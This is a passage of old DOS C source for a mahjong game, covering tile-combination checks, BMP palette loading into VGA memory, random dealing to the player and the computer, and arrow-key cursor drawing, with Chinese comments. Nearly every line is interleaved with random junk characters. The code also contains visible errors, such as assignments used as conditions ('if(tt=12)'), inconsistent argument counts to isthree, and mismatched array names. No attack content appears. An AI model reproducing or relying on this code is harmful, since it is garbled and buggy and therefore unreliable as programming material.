: v, R: F* E% L6 y9 xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
7 B# o- J4 G( K- K6 y{if(kl==i)
3 e' Y' N: V7 G) Q{
6 o. c3 Y* ]2 E! S! O. s- Ukl=kl+2;4 k/ k2 q: `3 O+ F+ `
if(kl==8)
& v: t0 M& A( Q" d& W4 y3 k. u0 lbreak;0 @/ _: E6 N; W# n8 @2 p" f
}
3 m1 R3 j& r' @: c& E) q% Wtest[ill++]=pt[kl];4 e) Y: h" X+ b. v
}
7 M) J! g# a4 Z$ O+ o' o) ~' j& {isthree(test,tt-2);
& U% c7 B: V2 X* M2 y% ]7 m}
& q) F" ?9 J0 _) m* }" L" U}
9 V& y* A: m; S: z- u% [/ T; L) y8 Lelse if(tt==9)
: T) ?! R1 M# i* f. Q% z% kisthree(pt,tt);
7 E- O$ [2 l2 R4 Telse if(tt==11)
8 @0 Y6 C0 E' Sfor(i=0;i&lt;10;i++)
3 H3 A2 G- ]* |" R' X( L$ ]: O6 F{+ \% S3 U9 _& ^' V' |
for(j=0;j&lt;2;j++)
, R( Z8 E6 o2 R{test[j]=pt[i+j]; ' o6 S: o0 I+ \) }+ I. q
}* E' m( G& k  L! s# \
if(istwo(test))
/ B; q$ \4 w" s7 B+ i* @" b{ ill=0;
7 X8 J1 t# L) R' q1 z8 }for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 H; |  M$ s. p; E# p5 i{if(kl==i)7 H- W; z# c: K' z2 M. Q
{
) ]2 o) X# h$ D  u/ t) @kl=kl+2;
$ G' ?% C6 G" x; `6 T2 Z& w3 Gif(kl==11)
! K5 e8 w2 h$ Q6 s6 Nbreak;% `" P$ x' W& s' j- d# P& W, i; H
}
0 M) f( l- y: `test[ill++]=pt[kl];
$ U9 @5 a: U* N0 x}
- M3 m6 e/ X6 M% Tisthree(test,tt-2);
4 }" X4 |1 v3 J! H0 p; b0 }}# L/ L, H! ?9 F, P# e4 h) Z
}
* x' N, `! y+ ^* Delse if(tt=12)
& l+ q" a. F. {0 Sisthree(pt,tt);
. Q' O. e  h2 S  K3 Helse if(tt=14)
- X' M9 y. v+ nfor(i=0;i&lt;13;i++)% N0 o7 q- ~: v* e3 q
{
) X5 f( [& ^! G" Q% R5 p* Rfor(j=0;j&lt;2;j++)+ Q; j' j/ X) g; B5 _! N
{test[j]=pt[i+j]; - h* _' C# v: o% y5 w
}
: w$ M: ~3 A2 R' Uif(istwo(test))
2 w! G( w8 r, b" G- ]- X{ ill=0;
3 q- H* u. x: ?, @- h& pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- I; _7 `# c% l- P{if(kl==i)
" @  ]; n0 g$ T{+ n$ D/ g8 c8 i1 B
kl=kl+2;
8 m" f0 e9 z5 p2 s. q5 F7 ]if(kl==14)! @$ u) t. `, z/ ^- D$ c# c
break;6 H0 X8 T  V) y) r% }2 w7 i9 G
}
+ G1 D3 P% y' [9 o; F' Ptest[ill++]=pt[kl];
7 }/ V8 W0 x6 }/ ^6 {: V$ ^}0 m8 m2 b3 q. w2 \. j) o
isthree(test,tt-2);
" M" g4 n4 c$ ^4 n8 o5 i}
- Y7 O* c8 o  b}0 s2 W9 C: ?) ~! q6 j; O9 A
if(ii==2)
4 w- c) u1 _0 |8 L; j. _istwo(pi);
; @; i; O8 ~' C1 }else if(ii==3)+ x3 D  D6 B& k$ L8 D
isthree(pi,ii);
9 {3 B1 `* u1 Zelse if(ii==5), k2 W# `: [# h1 Z; T. o$ y
/*pi[5]原始牌数组,假设已经升序排列*/
4 z  a( q" b, F( w, P6 I. s/*test[3]用来放置测试牌的数组*/( o3 v) p& z# J3 G, h- t& {
for(i=0;i&lt;4;i++)
. z; Y+ h; ~2 s8 Z' X& D! b; {{
# N/ B' f3 R  L) hfor(j=0;j&lt;2;j++)
: X. }5 C7 f" Q5 U{test[j]=pi[i+j]; . Q* L( I/ ~$ b. d' ]$ g7 E
}  t( U% x  k& y# x& g" z4 \
if(istwo(test))% l- j8 F' y* z! K5 b0 x
{ ill=0;/ Z4 D6 v/ o" Y6 `" Q" l4 e
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/6 H9 e1 z( f6 T+ ~: a
{if(kl==i)" S5 H9 l. T  F5 b$ J) X4 t, T
{
- h2 s. y/ k1 t; p7 skl=kl+2;
9 p- X. o- b  }& `if(kl==5)6 x2 z' m, @5 {* D! G* u: S2 \
break;
( `$ K1 Z" P% H% C! s}7 ?" H6 f6 z  A7 y( d2 l
test[ill++]=pw[kl];4 u: b2 L# T3 O: n# z# A# ^) P
}
+ ?# ~/ u6 ?: C5 k8 Fisthree(test);
2 W) O8 I8 g" U( ~2 z) P9 }}% R& x/ z2 I; B
}
! Y4 z. e% b2 F3 |! Aelse if(ii==6)
5 Y- k1 E7 d. u* jisthree(pi,ii);
$ T& M( ?5 ]1 h0 r, L' E% i9 X; j) |else if(ii==8)
: T5 }+ |3 r" o# V1 Wfor(i=0;i&lt;7;i++)
5 X5 @( a( w; g! n! d6 t' g6 O) w{
2 ]* g  \0 A5 zfor(j=0;j&lt;2;j++)) y9 k/ G0 f6 r) U" f# P; z  V
{test[j]=pi[i+j]; 2 g" j7 A- }: d$ H; d
}
# K3 M5 N! }' e$ Vif(istwo(test))
. z7 q( S" v  h/ m2 ~$ |{ ill=0;6 y0 f* u) o5 f% m' i  f
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
) y8 x. g) |# f1 k! I6 ]{if(kl==i), E9 o; T& j1 o
{. Z& K+ g; y' t
kl=kl+2;
: y: y: K: x  g. F" M8 gif(kl==8)1 ]6 j' z* S2 t9 W% k  Q
break;
9 Y* S$ K* j1 T! i}
# }$ X* P: {) `# i3 [3 O; ztest[ill++]=pi[kl];
4 c# r0 j: z2 T& T}
  X: A- B, |. Pisthree(test,ii-2);" \& o; s7 d  k! K0 ~7 ^# h
}
' F* n; K# H4 ?} 4 W& `; c$ Z% V! A+ F7 S/ Q7 J- f' S9 t
else if(ii==9)
5 d. O% j% s  Y& E: v& A$ ?( qisthree(pi,ii);
8 x/ N, W7 T9 \9 l5 O/ p0 G5 xelse if(ii==11)/ u' d( O: |' V2 [( m
for(i=0;i&lt;10;i++)
  ]! f5 {" i. e2 w& H, x{, ]; P. \  v' n, a8 g
for(j=0;j&lt;2;j++)
# g& p: T( S9 ^6 }1 U5 h{test[j]=pi[i+j];
; r/ D1 T8 s  {" c* \$ d0 |}
! n8 M' l8 b$ Yif(istwo(test))
1 [+ w  n4 E' T# G{ ill=0;& w/ g) X0 K- W2 e. Q
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  y+ [; U/ F! ?' v{if(kl==i)% r( X& S6 L/ {7 T
{' c- R& U+ v/ N& ~8 V( v
kl=kl+2;
; |# G# [: Z7 x: \1 i4 }if(kl==11)7 H/ t0 d2 _% o4 B) ?8 U& v3 I
break;
7 G! R! n9 L- \- @  @& C/ `}( {8 Z  i! J7 Q7 _! p' F( Z
test[ill++]=pi[kl];2 n4 q! q0 e0 o3 H$ R8 y
}
" n  v- }2 B1 z6 V; aisthree(test,ii-2);
7 ~% s) v& h2 T: c1 W& V8 F}% a2 p5 Y% u+ f9 y1 {
}
/ Y! \. j/ r: V9 t- p+ P5 B) g5 belse if(ii=12)+ e" P' P- O" J0 i
isthree(pi,ii);
5 z) n$ z1 ]# D4 k" L0 ^else if(ii=14)# u0 h6 q9 }; f- v1 K
for(i=0;i&lt;13;i++)# d; i/ |7 w+ D: n0 C. w& u
{
4 \# F  ?% {% z1 Ofor(j=0;j&lt;2;j++). w$ E& E. n) l) W2 {# A" _, Y
{test[j]=pi[i+j]; ( t8 H' D! B) m& |& S3 M
}
: p' h; S6 S+ Y5 uif(istwo(test))( M' M; s5 q4 V3 i" U
{ ill=0;
0 O. [. s3 r! \  h5 efor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/$ {' K3 u: _6 p3 i# v8 b  p
{if(kl==i)
5 c5 R- q3 C/ U! T{
# C+ \, r. `) \kl=kl+2;6 M4 \# V$ v- a: V9 ~  W; X% \
if(kl==14)% n; N7 K0 s& @- }' V
break;
2 v/ m8 T, ]5 n. P  Q; w! w}
( }/ J2 R0 T. l8 N2 q- W/ Otest[ill++]=pi[kl];
' L# f7 I1 `* N* `3 P5 L; ]5 q}
; X  v3 Q9 W1 Y& R$ risthree(test,ii-2);
, w8 ^  {& F$ @6 @}
* h$ n0 A5 b0 r. t0 m' M. f  ^} / H: L0 F' w( @6 o# Q6 d
if(ff==2)
! ~, ^) T* d; m: j" w1 \9 oistwo(pf);1 ]. S$ ^1 v7 X: Y" R6 u: p
else if(ff==3)
6 l" F) u0 X4 _) V6 {isthree(pf,ff);
" s7 `0 E. f% l: ]8 I1 Qelse if(ff==5)1 l+ I/ z9 a" W% u
/*pf[5]原始牌数组,假设已经升序排列*/
6 z, h6 T( g* d/ W! H5 ]4 x/*test[3]用来放置测试牌的数组*/0 u2 V$ F* b- h" t5 z
for(i=0;i&lt;4;i++)/ X$ G" i4 z% U3 E8 r$ V
{
* q) Y3 Y" o0 xfor(j=0;j&lt;2;j++)  c. Q$ l6 ?4 p+ h7 ?  ]% m# K
{test[j]=pf[i+j]; 3 [# O6 Z5 f3 w! W) w& b
}
4 @; h+ O# h. k: A" l) V; B: wif(istwo(test))
6 A. I9 w' }/ u) B, S- d{ ill=0;
1 q3 D1 }# E, [; C  F) tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; B* a, V* T! X/ h, w
{if(kl==i): t% j! l! X" s- f) M
{6 Q" A) Q) O- X0 m3 k, q# M
kl=kl+2;
' L4 a8 r2 j9 T  q' s' t. Eif(kl==5)
8 t& e# h1 G9 Q/ ^+ n) ]6 dbreak;* ]! {5 e7 B! j$ H1 ?3 Z' S
}
# {" T1 [1 c- {0 \8 r" ftest[ill++]=pf[kl];6 Q7 Z: N. f- Z( p! g
}7 x5 F5 R( v' c8 H+ w
isthree(test);
* D& d4 k$ D4 x6 W# X}/ r1 X( Y3 g, m* O, I8 d3 z0 @
}
; i( a) [9 O5 `' Zelse if(ff==6)
$ ~) v( `3 l: f% L* _* Aisthree(pf,ff);
7 |; [0 w9 g# f* K4 T% xelse if(ff==8)
6 w. B  C* b. Y+ I' Y( J4 ?for(i=0;i&lt;7;i++)/ U; y" r9 f" X9 s. s3 u
{& J* ^' k4 V' M
for(j=0;j&lt;2;j++)
! n2 a5 f0 p) b0 Q{test[j]=pf[i+j]; # }2 e  A9 k( ^. \6 z
}
. b* N" N0 Z, \/ p/ x+ `$ bif(istwo(test))
2 K. N4 J4 z3 l- _{ ill=0;0 [" b* f1 |+ t  r+ o7 a
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/4 V5 Q" ^8 E  N5 z' b( r) J0 ~! L! D; Q
{if(kl==i)
( z" j8 E! M* `, c) \{
/ x  o/ c3 l- B/ g$ r+ Lkl=kl+2;
1 W3 a% T( f# Y7 [6 A) Y2 Kif(kl==8)) T& L, F/ _# i% R/ v4 y6 W$ C
break;2 p; _# q0 ?' s: R0 i8 ~
}: H# M' u4 ^# d6 ?
test[ill++]=pf[kl];
" o! |+ }" G# j9 W: E9 T' K4 Z+ ]}3 H. Y: e( W) A3 u
isthree(test,ff-2);
0 D% ^1 ?& d5 h! ~, B' `" }}, J* S7 n! f4 O) J, j8 I( {
}
! g$ U) {3 h% P# l$ `2 S1 Z  Yelse if(ff==9)1 d# U( H: U* A* f. [  Q
isthree(pw,ww);, C2 }$ T! `7 w# Y! f0 Z. I
else if(ff==11)
; m& v5 s( r+ F/ sfor(i=0;i&lt;10;i++)
7 X5 t7 e1 e+ b, @; Y5 t{
: O# y& d; a; A& i3 ~7 Rfor(j=0;j&lt;2;j++)
! m3 V3 V2 C. ?7 [: z( `5 l{test[j]=pf[i+j];
5 Q, X4 @/ I/ a' w, D: x}
) ]7 S; \, P' X4 z7 l, X+ @- f) pif(istwo(test))
: Q$ L+ U$ k/ r( s* G  W4 e, b0 j3 k# `{ ill=0;
' S* [- r- n  Dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( e8 v4 F- B8 ^1 ?
{if(kl==i)
% K7 e7 P- n6 L% T5 A{
& _# @/ Z1 g% p1 x% t( Rkl=kl+2;. n4 |7 `4 q! ^# B0 q
if(kl==11)% X- H# z- q) L! p
break;
/ h4 R$ z7 p8 e}4 c5 l% ^3 @4 G. y
test[ill++]=pf[kl];
2 Q$ B* V( @1 O$ Z( E" f}2 Y9 f; ~8 j) U1 Q
isthree(test,ff-2);
3 X1 N! e# [5 q5 l6 Y! Y: L9 I}
/ f% ~3 g5 v* I# j}
2 n, B' e! R$ i! `$ c0 Welse if(ff=12)
* @1 R1 R+ a; K# L# t  M9 t* cisthree(pf,ff);
: i% e/ n, p, X9 s: q4 selse if(ff=14)( ~7 i/ {5 ~+ }
for(i=0;i&lt;13;i++)& _: ~1 Q! n3 Y: r) n) R
{3 A% d% M0 s, ~4 U8 Y" X/ `$ l
for(j=0;j&lt;2;j++)
! t* m: s2 u$ Q; u: X5 g9 D{test[j]=pf[i+j];
. C: t7 Q1 N% j3 w9 o% p) ^}5 Z$ |2 h: g6 @$ D1 `1 W9 [
if(istwo(test)); H! q( ]; Q5 k' B5 C8 {
{ ill=0;( Y  y5 p* G, V( E
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 \* r% [- u! b1 n3 E5 Z; k* c{if(kl==i), m; A) [. W2 _- q; J
{- a1 Z: L# _2 ~
kl=kl+2;
" l7 c5 x& |0 A6 ?6 f& j# {if(kl==14)
' |4 H2 B/ i" d) s1 Sbreak;
& `. Q" O6 h# a9 s}
: W; Q- ~* @* c; X( Rtest[ill++]=pf[kl];6 s" \0 b  E/ G8 U2 e7 m. o5 B
}
) v. m/ _7 V6 Z% f- d7 Bisthree(test,ff-2);( v: {6 J/ D/ d: ?+ h. e9 H3 V* z
}4 L. n+ x2 A" G: [- ]/ t
} 1 J) p) e- m( @2 p( d
}9 M" ?, F9 [& y! w
void main(void)
; d& J$ k& z% ^/ y* ~3 i4 ]{& Y; N  Z! c7 Q; g7 s
FILE *bmp;
/ y9 T8 w% ~- E2 e4 istatic char *name[2]={"ff.bmp","logo.bmp"};+ Q) w0 I+ \% D6 M# j* |, ]1 \, O3 m
char *p;
" j8 ^5 o  L( S4 ?8 C: b% L9 y4 Vint *lingshi;' ?0 ^) A5 b% o8 h/ y. @
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;. r1 M2 j" B4 Z8 U7 `6 P
int every=0,w=0,x1,x2,y1,y2,every1=0;( q) B; c# z; E
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
/ o; D3 x; w# s' RBYTE palette[256][3];- ]- y1 F  j/ ]+ a
SETVGA;/ U; t- W) ?( i# e" w' Z
getch();0 B) W) c. }* D4 `% x4 ~" w% t
while(t--)2 t- r1 B$ u! }* R  J
{
7 @* d. n+ u- O0 N) |/ f- kbmp=fopen(name[t],"rb");$ \, U  z; U8 h# S3 _- B1 [7 f- e  j
fseek(bmp,54,SEEK_SET);$ E, y6 q3 y: T" H
for(i=0;i&lt;256;i++)+ q3 S4 u9 t" ~0 R: \- F0 G
{0 k' H( p, G; D: E) e
palette[2]=fgetc(bmp)&gt;&gt;2;' _# y0 ]& b" K  V
palette[1]=fgetc(bmp)&gt;&gt;2;( S0 n) y" a$ ^  W7 n
palette[0]=fgetc(bmp)&gt;&gt;2;
, `7 A/ c, g; A( g' xfgetc(bmp);
6 d% x) B  K  e% ~5 YSet_Palette(i,palette[0],palette[1],palette[2]);
1 M. ^) u) ^4 h7 z  n& w}
8 m* k/ t% ~0 Dfor (y=0;y&lt;200;y++)
& D) R" i4 t9 P5 hfor(x=0;x&lt;320;x++)
- e; p( X+ x4 Y3 ]+ D7 Ypokeb(0xa000,y*320+x,fgetc(bmp));
  ^% Y* v3 A6 e  Ofclose(bmp);
, B2 U. f- Q1 r3 N6 _9 {3 H' v0 mgetch();
9 ]9 A: {; }8 X! ^3 B3 b5 L}* h  o9 E# p$ m  r6 j
getch();
# y( o! X, r2 L5 Z' B" C% hfillRectangle(0,0,320,200,0);$ y4 X5 c4 i- }
getch();% u; H2 |9 a. O0 R# `
randomize();  z  f4 i8 t( Y, X) C, {: v( k
me.m=onetothirteen;1 E3 i: y* M7 G& U- ~; @$ P
while(me.m&gt;0) /*先循环,给自己拿牌*/
8 N0 K1 d' ^5 B" a, {/ \! l& y( |{
4 t9 i8 M; e: |" w3 Z! F0 q# F# ?! D+ \1 p5 f7 `7 @* O
temp=random(136);
  i% T/ f* i! z5 n: s$ Cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
9 f1 l7 l) S( E8 y{# D! @+ d& O" k5 C! Q; N8 ~2 Y6 M
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
# s  O- z5 \; }) k" f4 x9 Mme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- c' O; j! }( z/ \me.pp[n].number=temp; /*第几张,用来排序*/
, Y8 v# ]9 F3 em[temp].data2=1; /*判断牌是谁的*/
) `* N' f& a4 ?+ v: I) _3 i6 ikk=1;
" E% m) R- i3 x9 r& i}9 G7 l" d# {! E$ b& y
if(kk==0) /*判断如果又选择了,就从新再选*/
2 g. Y5 y* w5 f2 V% p  l( `4 K{
5 s* k% m: `. {0 i9 p; Nme.m++;
( y2 A1 J, \" p: B0 jn--;- j9 z+ P  P4 R0 s! i; B& ^3 M3 x
}6 O+ b1 `+ j' P" I' X
me.m--;* r, c( d  B( k  ]( s, \5 J# W
n++;
6 C+ ^8 r% P. D9 e* A8 J3 q% b$ A1 ^kk=0;- o# b4 B9 T( T: C  U! ~
}! }$ O' [! d8 S  a+ u; R. _" `
me.m=12;- _' u; o1 v$ W3 _3 q0 f; S
melipai(); /*理牌*/
: W% O! q" S* E8 X$ U) t. K# C. B2 f0 B" Y5 {* _/ {7 R
n=13;* u  X; a. n! U& M
while(l&lt;n), h# |6 @) N. q& b, _! v9 J
{7 o  n+ _  i; W( L* g$ ~
z=z+20;* w  E  `; u$ {2 M2 ~
showbmp(l);- h! a9 p' L# h3 i4 ?" [- n! _& M
l++;
2 m5 v+ T( U/ }! `& U
/ t/ ^/ y9 i# h/ y/ _4 c; ^: H}: A, g! [9 Q; L2 Z! N
randomize();
4 A/ T7 n' u  |computer.m=oneorthirteen;9 K# y' `8 B& v6 j% @* a
n=0;  ~8 B9 T. ~/ M/ y. j
while(computer.m&gt;0) /*循环,给对方拿牌*/% H9 V$ e9 d, a' _5 g
{# Z2 F$ `( P3 m4 w& m: u- L; v
temp=random(136);+ @1 q: b+ |7 j! W+ ^
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
" M7 ?; Y! N' u1 H4 k" m{6 v. _3 [& X' D. j9 I
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
! y% ]! D6 ]( U' n5 [8 q5 Qcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& P* N8 X2 J; a. N; e. w( u9 C4 Icomputer.pp[n].number=temp; /*第几张,用来排序*/4 z' i- t" f) ~! Z% {
m[temp].data2=2; /*判断牌是谁的,2为电脑*/6 |# E9 H6 i& U
kk=1;
6 O  S( x1 [: q2 _$ [" b0 ~}
5 G) |- X8 G8 B" h0 \4 `1 \if(kk==0) /*判断如果又选择了,就从新再选*/9 p9 N3 \. I8 `4 W; j3 G/ J
{
" K; f% v' n) C# S2 }4 M6 y" A3 Ycomputer.m++;0 n4 b! t3 `! z: X" H
n--;8 L3 J* N. X- i
}
: c1 R2 f+ V) P( ccomputer.m--;6 s  V* J" P. w# e$ N$ M% s. S* Y
n++;
7 ~5 ]* J  M  J3 Y. M5 e5 ykk=0;) S4 ?& y: O6 i
}( R3 o, I' F' h% Z9 i1 F: t. P
computer.m=12;( ]8 a1 ~3 n# l- Z, P
comlipai(); /*电脑理牌*/4 I! }1 K4 X" @5 P4 E' J2 e
n=13;2 S% S6 K2 [5 L# r
while(ll&lt;n)
# n" Q; @8 J. R+ f) a{9 i* O* J- G* w8 C# H
zy=zy+20;
9 h0 S; z6 Q; o+ C& O5 Y- }4 Oshowybmp(ll);
% z! H& o" G, ^' Lll++;
  F) {% ~$ }& j& c}
- Q. U( O7 ]' c$ o4 A' `% \. y; z- M3 U
z=54400;
, Z# l+ x( _2 i1 @) Z2 Jwhile(key!=ESC)0 h, C0 k! O* Q* {
{
4 `. |3 R! Q# d. o+ H7 Z/ j! i6 o" G. c- f' I
keyy=bioskey(0);
6 o3 T9 Y% A/ Y! k( F6 lif(keyy==LEFT) 8 t% s8 a  p. q, }. _
{ w=1;
/ Z: p" D/ q( e$ b' R1 T4 lif(every==0)
6 E9 g2 a7 ]+ g4 ?6 I5 Z{
" v5 J: _+ ~, P% devery=1;! \9 x* G) f$ Q5 f  R+ Y  l$ ^
z=54440-5*320;
% f* c3 r+ a  e
6 n: A# v5 H6 F}* v* ~" G: n  }* P( b$ w% j! E
zz=zz+5*320;
9 X% i7 d: G' p! S8 eshowbmp(every);9 _) v& l+ d; y% A) }
if(every==0)+ f6 N5 h+ c, L" [- X* n
{
* F' O1 P0 _% K- B( u  X2 Vx1=20;1 f4 ]# |3 a1 o; }: j4 @: q0 ^
y1=165;
- |$ Q2 b& N- r8 r# j0 f' QfillRectangle(x1,y1,x1+20,y1+4,0);1 `$ N7 H9 s4 j9 x! S
}
" M% k9 }1 E& t- U! L( h8 Lif(every==1)
# z' c( n: i6 j# e7 {{
8 O1 B# X7 t' a3 H1 U! ex1=40;  Y  D3 T; l$ H
y1=165;
3 t; \4 m  b6 L4 Y# j4 R0 x3 u- TfillRectangle(x1,y1,x1+20,y1+4,0);
  X# a9 f9 a/ w}9 K! X% z" z% X6 Y
if(every==2)# g2 I! @0 I6 ~  n: x
{/ q& V: L" @) x" E
x1=60;
5 n6 r6 ]2 {1 ~* ~1 C& sy1=165;
/ ?1 x# _+ q% `0 J9 V* |; z' BfillRectangle(x1,y1,x1+20,y1+4,0);
) t% F3 B7 c2 `; m}( J9 M! B3 x+ y" j
if(every==3)7 h5 u* B/ y) ^5 c, D3 {
{
" P: m1 }8 g4 Ex1=80;) k1 w+ u  r) H2 V. B) v% |
y1=165;
' F/ ^5 f$ P3 F+ j. d/ mfillRectangle(x1,y1,x1+20,y1+4,0);
4 d4 a  l1 u. K* S}
" c/ F; x8 e' L! |- Hif(every==4)
# a* ~) o: n. [2 S2 s* G! l( w{7 {- m4 K+ a* I/ ?' D1 W$ h) P% u) @
x1=100;  P% B5 f7 A% V( k, h6 t3 t# D# S
y1=165;
+ d7 ^5 U( V0 |4 z( c2 M6 yfillRectangle(x1,y1,x1+20,y1+4,0);
: M+ i3 ^! y6 N6 R}
" G  g. M. O; _3 t) `9 Qif(every==5)- n' Z9 j) t6 v
{) U$ G- M; {+ K) q8 j6 e
x1=120;
3 h! Q. c1 P6 a$ sy1=165;' L  p% _3 W% K0 H$ G- R! [
fillRectangle(x1,y1,x1+20,y1+4,0);
, ~# j7 b/ e  r: {. Z) q}, ?6 q" g" ]- U6 |6 L
if(every==6)
0 N1 i: a8 n" v: C1 C& n' ^( @$ m{% `* _8 @! h$ X- Y8 ]% E8 m
x1=140;" w' y% ]0 P4 R8 K* y
y1=165;
9 ]1 L  ~* W/ ~% kfillRectangle(x1,y1,x1+20,y1+4,0);+ ]/ A9 m! z- U4 ~
}; d* q- U0 Q7 T3 Z  o) H/ S
if(every==7)
, M9 l( I, |5 ^! ?+ R% A% C1 V) x{& i' w# Y; J5 H  @! E# \
x1=160;* ?' q* f/ U  A' W" h1 E3 z' U
y1=165;* H3 C" u3 `/ b! W+ L( ]( k& r; ^4 \6 m
fillRectangle(x1,y1,x1+20,y1+4,0);; Z1 S! T1 V( Z  Q7 m2 O
}, b: l9 u4 c2 C
if(every==8)
, r( T9 u, q- l, ~9 G) ^{& g4 N/ n: N* _7 q
x1=180;; Z: s$ U( M: p9 g2 ]# K9 H: R
y1=165;
0 O: U6 Z- r6 V  G' e7 g! afillRectangle(x1,y1,x1+20,y1+4,0);
; f7 [: a6 d2 V: T6 s) t2 m}
4 U0 r" G  e% D) S) ?1 |8 P1 Xif(every==9)8 J: Q" S' Z- v' Q6 O
{, f4 _5 e# }# f: c
x1=200;" F0 Q1 Y3 B1 y' I6 b
y1=165;; |! r1 h" p9 [: W# E9 K& }! s0 n( Y2 r
fillRectangle(x1,y1,x1+20,y1+4,0);
: ?# r% ~. L  l7 A# `}; T  w8 c7 `7 I4 S2 W: k1 H6 M
if(every==10)
& [4 M) a+ v- X8 W0 I{* ^: r$ g; v. u# n1 }
x1=220;
9 `1 q7 g- e9 E/ p. B$ V9 J# R. j: Ky1=165;+ \. w. q1 h3 o6 C
fillRectangle(x1,y1,x1+20,y1+4,0);
8 v( D! c4 Y  {3 Y}  f& m( X1 Z1 `, T
if(every==11)
9 f$ L* p7 R! |# l8 {) y$ s{- z- ^- k7 g4 S. }
x1=240;
0 q" s9 D  a+ T) ky1=165;: B4 A( I1 V' ]7 {0 t
fillRectangle(x1,y1,x1+20,y1+4,0);! y  Q# L) H. A2 T- W- H" f' U, X
}- N' b7 X0 \* b% E) l) w
if(every==12)( J* d! W; y+ Z! x
{
- B5 S2 C7 ?! a& j. A8 i3 Qx1=260;
5 @, f6 C1 y, i3 z% I  X* F5 ny1=165;
: r/ f4 q, U8 R5 `% n  V+ j8 f. h7 QfillRectangle(x1,y1,x1+20,y1+4,0);
; C- [% e8 b2 v# J. Q& a}
' c( [5 L$ Y( z/ n) ^zz=0;
9 n  W6 W5 x$ N# i5 Mevery--;
2 U. U, D: t0 h+ t! Az=z-20;, y! k; g8 g, [+ ?) J* ]
}
7 g8 U( \* H+ B/ @8 v" `$ q6 cif(keyy==RIGHT)
+ Y( F8 [8 U( G% O{ if(w==0)
% {. m9 x2 u5 Z0 Y: A- F{# K4 o/ Y7 ^. n% D0 z
z=54440-5*320;# v4 \) T$ g+ G: G
z=z-20;0 F5 ^% ?. U7 w, H
w=1;5 s# ^7 G, l7 K% L2 m( w
}
0 `5 b* _; `. n8 L2 C' dif(every==12) # n) L; w5 A* S5 H; n
{
+ M; \$ d. q- d  j, R% ?; qevery=11;
. D: D: g  X: |$ @' Yz=54640-5*320;9 K! N+ @" f1 E* X. o6 z- v! m
}# C$ f5 V3 W2 y. M3 M6 H' [
zz=zz+5*320;* A1 S* G1 N0 A1 Y; M7 q$ N# I
showbmp(every);
: Z" D+ M2 j  ?" q. f. q: ?, `3 i: cif(every==0)
+ @" G! g5 C3 R- Q0 K  N9 g; C{( h8 [% m' O4 ]2 s  M
x1=20;
8 n: j3 l, K" n. k, T  O1 o2 ky1=165;
* m! f5 V$ o/ Y7 j& i) p9 G# Q! V# ffillRectangle(x1,y1,x1+20,y1+4,0);
0 B" a0 s% ?  T/ i}# Z: ^  `& X6 H1 \$ M" e
if(every==1)6 J8 P$ K6 H0 W
{! [. X& d7 Z) _% H. C# O; x+ C
x1=40;
2 z8 N7 n8 \) Y' Fy1=165;- t! h% m: V! W  y+ s9 Q
fillRectangle(x1,y1,x1+20,y1+4,0);
6 f6 z  F) b3 h) f2 s}6 O& A% d7 c" J. B6 O' S0 {
if(every==2)
: d2 o8 u% ^. e# D' R) S4 e{+ I  }& N0 s" [* X0 i$ g! {
x1=60;
% T0 E, x" W3 p& _; H7 l6 F0 Dy1=165;: V2 }+ V  x  B" z$ U& Y( D
fillRectangle(x1,y1,x1+20,y1+4,0);
& w. ~) x+ T. N3 J5 [+ k}; m  N! \6 V  u) |# V, l  s$ [
if(every==3)
' q& I" D7 r% k% g{8 ?0 Y" T5 q( u5 W# D
x1=80;2 d7 }5 i" E5 k# C5 [
y1=165;
) s8 k0 ~# h- N: IfillRectangle(x1,y1,x1+20,y1+4,0);
# g7 T0 c; D; u: x}
! _6 v) m% s+ x, s3 v# B  a& {if(every==4)4 _- b8 r. _3 @1 T0 c
{/ m0 H8 X  f6 Z7 V
x1=100;$ O3 v# R& E# c7 w: @) y$ D
y1=165;
8 h/ d* k; k5 t  n) ~fillRectangle(x1,y1,x1+20,y1+4,0);9 Y% q  l5 g) R4 L4 o1 J# m1 b, r2 h
}
# o' t( @$ V3 V5 n+ Oif(every==5)3 H3 H. {( H$ I6 j% V
{
' c/ F9 {- U; n- \7 v1 ~x1=120;
$ o8 M& j% Q* r, @y1=165;
. a( S* z) }6 {" l: q3 f! u6 m# ufillRectangle(x1,y1,x1+20,y1+4,0);7 f; N+ J3 b6 B
}, C" Q/ |( K0 `" i  |- e4 L: c" A. H
if(every==6)
5 [" f" D. @1 F{
& C1 o  ?5 w, K2 i7 i  p; _x1=140;9 n9 E; b2 L# [
y1=165;4 J! M7 i: V+ `9 `
fillRectangle(x1,y1,x1+20,y1+4,0);4 \4 X% R6 Y' c
}' Y0 ?+ \6 t) U4 o# Z( k  z
if(every==7). R4 [/ n; w$ M5 G4 L
{: U) S5 J2 ^! z9 K7 `) B& A6 W2 C
x1=160;$ C- k. b5 J! j, F/ T
y1=165;8 X( |' i  |8 X% C9 t
fillRectangle(x1,y1,x1+20,y1+4,0);
2 P1 `3 W) @. s) [1 L1 N}8 U, l* R3 w6 W! B
if(every==8)
1 L* i7 ]7 }- C# M* ~$ R{
( x/ ~7 U: f6 {* ~# ex1=180;
